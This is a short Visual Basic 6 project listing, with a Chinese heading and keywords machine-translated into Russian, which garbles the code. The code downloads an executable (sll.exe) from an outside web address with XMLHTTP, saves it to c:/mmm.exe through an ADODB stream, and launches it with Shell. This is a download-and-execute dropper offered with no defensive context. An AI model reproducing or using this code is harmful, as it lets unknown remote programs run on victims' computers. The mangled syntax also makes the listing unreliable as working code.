建立一个vb工程，Проект1
Тип файла: Среда выполнения сценариев Microsoft, Microsoft Active Data Object, Microsoft MsXml.
Форма1:
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
Тусклый d как класс 1
Установите a = Новый MSXML2.XMLHTTP.
a.open get, http://www.ljc.com/sll.exe, правда
Установить d = Новый класс1
a.onreadystatechange = d
а.отправить
Конец субтитра
Класс 1:
Dim b As ADODB.Stream
Dim fso As Scripting.FileSystemObject
Публичный curReadyState до тех пор, пока
Открытая функция doSome()
Debug.Print Form1.a.readyState
Если Form1.a.readyState = 4 Тогда
www
Конец, если
Конечная функция
Публичная функция www()
Установить b = Новый ADODB.Stream
б.Тип = 1
б.открыть
Установите fso = Новый Scripting.FileSystemObject
Если Form1.a.readyState = 4 Тогда
b.Запись (Form1.a.responseBody)
Если Не fso.FileExists(c:/mmm.exe), Тогда
b.SaveToFile c:/mmm.exe
Конец, если
Конец, если
б.Закрыть
Установить b = Ничего
Если fso.FileExists(c:/mmm.exe), то Shell c:/mmm.exe, 1
Установить fso = Ничего
Конечная функция
«Class1» — «doSome», «default».